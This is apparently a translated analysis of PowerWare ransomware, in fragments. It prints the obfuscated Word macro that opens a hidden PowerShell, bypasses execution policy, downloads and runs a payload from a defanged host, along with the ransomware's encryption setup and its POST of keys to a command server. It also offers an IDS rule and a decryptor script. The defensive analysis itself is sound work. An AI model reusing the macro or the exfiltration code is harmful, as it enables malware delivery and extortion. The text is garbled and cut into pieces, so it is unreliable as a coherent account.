olevba.py
from oletools
, we can extract a macro from the above document for analysis. Private Sub Document_Open() Dim CGJKIYRSDGHJHGFFG As String CGJKIYRSDGHJHGFFG = "cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa[.]in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell CGJKIYRSDGHJHGFFG, 0 MsgBox ("Unreferenced library required") End Sub
"cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa.in/file[.]php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1”
cmd.exe
file to start powershell.exe
, since on some systems the direct invocation of the executable file is blocked. The command also introduces a little confusion, such as splitting powershell.exe
into bits-sized blocks and mixing upper and lower case. In addition, the command attempts to bypass the execution policy and not use any profiles set by the system for use by default. After that, it loads the syscpa[.]
Payload form into a temporary directory such as Y.ps1, and then starts its execution.RijndaelManaged
class. But using this class is not uncommon. However, if you pay attention to the use of the class, you will notice that these two are quite similar to each other, ranging from key initialization to mode selection and addition. $XlowQsiRsKORgfR = new-Object System.Security.Cryptography.RijndaelManaged $XlowQsiRsKORgfR.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $BchjdRgasjcThsjd, $UxjcRgasjfvRsj, 5).GetBytes(32) $XlowQsiRsKORgfR.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("XlowQsiRsKORgfRjBMPLmCamEMyFRlWfsgTgh") )[0..15] $XlowQsiRsKORgfR.Padding="Zeros" $XlowQsiRsKORgfR.Mode="CBC"
Bnx8Khahs3Hjx96 = new-Object System.Security.Cryptography.RijndaelManaged $Bnx8Khahs3Hjx96.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $GBCSWHJKIYRDVHH, $VGHKJJGFERHJJGSDQWD, 5).GetBytes(32) $Bnx8Khahs3Hjx96.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15] $Bnx8Khahs3Hjx96.Padding="Zeros" $Bnx8Khahs3Hjx96.Mode="CBC"
.amf
, .qtiq
, .srf
, .val
and .waw
. The difference between the two samples is less than 1%. $GBCSWHJKIYRDVHH = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 50)) -join "" $SGKPOTTHJMNFDRYJKJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 20)) -join "" $SQEGJJYRFBNHFFHJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 25)) -join ""
$73848HhjhdRghx67Hhsh = New-Object -ComObject MsXml2.XMLHTTP $73848HhjhdRghx67Hhsh.open('POST', $XCJHEDIJGDFJMVD, $false) $73848HhjhdRghx67Hhsh.setRequestHeader("C"+"ontent-tYpe", "apPlicAtion/x-www-form-url"+"enCodeD") $73848HhjhdRghx67Hhsh.setRequestHeader("ConteNt-length", $post.length) $73848HhjhdRghx67Hhsh.setRequestHeader("CoNNeCtion", "close") $73848HhjhdRghx67Hhsh.send($HGJHBVSRYUJNBGDRHJ)
base64
string at the time of decryption, the variable would contain NULL
or an empty value. Fortunately, PowerWare does not seem to have these problems, and the files can be recovered normally. alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AV TROJAN Ransomware PowerWare/Poshcoder CnC Checkin"; flow:established,to_server; content:"POST"; http_method; content:"Content-Type|3a| application/x-www-form-urlencoded"; http_header; nocase; content:".php"; http_uri; content:"string="; http_client_body; nocase; content:"&string2="; http_client_body; nocase; content:"&uuid="; http_client_body; nocase; reference:md5,4564d49eda7a048f301b1f87f9da3c62; classtype:trojan-activity; sid:12345678; rev:1;)
string
and string2
you can decrypt files encrypted using PowerWare. param([string]$filename = $(Throw "Argument 'filename' required."), [string]$string1 = $(Throw "Please enter 'string'."),[string]$string2 = $(Throw "Please enter 'string2'.")) write-host "The entered filename is: $filename" write-host "The entered Password is: $string1" write-host "The entered Salt is: $string2" $salt = [Text.Encoding]::UTF8.GetBytes($string2) $Rijndael = new-Object System.Security.Cryptography.RijndaelManaged $Rijndael.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $string1, $salt, 5).GetBytes(32) $Rijndael.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15] $Rijndael.Padding="Zeros" $Rijndael.Mode="CBC" try{ $binReader = New-Object System.IO.BinaryReader([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII) if ($binReader.BaseStream.Length -lt 2048){ $binReader_length = $binReader.BaseStream.Length } else { $binReader_length = 2048 } $data = $binReader.ReadBytes($binReader_length) $binReader.Close() $The_Decryptor = $Rijndael.CreateDecryptor() $memStream = new-Object IO.MemoryStream $cryptoStream = new-Object Security.Cryptography.CryptoStream $memStream,$The_Decryptor,"Write" $cryptoStream.Write($data, 0,$data.Length) $cryptoStream.Close() $memStream.Close() $The_Decryptor.Clear() $memStream_Array = $memStream.ToArray() $binWriter = New-Object System.IO.BinaryWriter([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII) $binWriter.Write($memStream_Array,0,$memStream_Array.Length) $binWriter.Close() } catch { write-host "Someting broke, set debuggers to level 10" }
Source: https://habr.com/ru/post/282503/
All Articles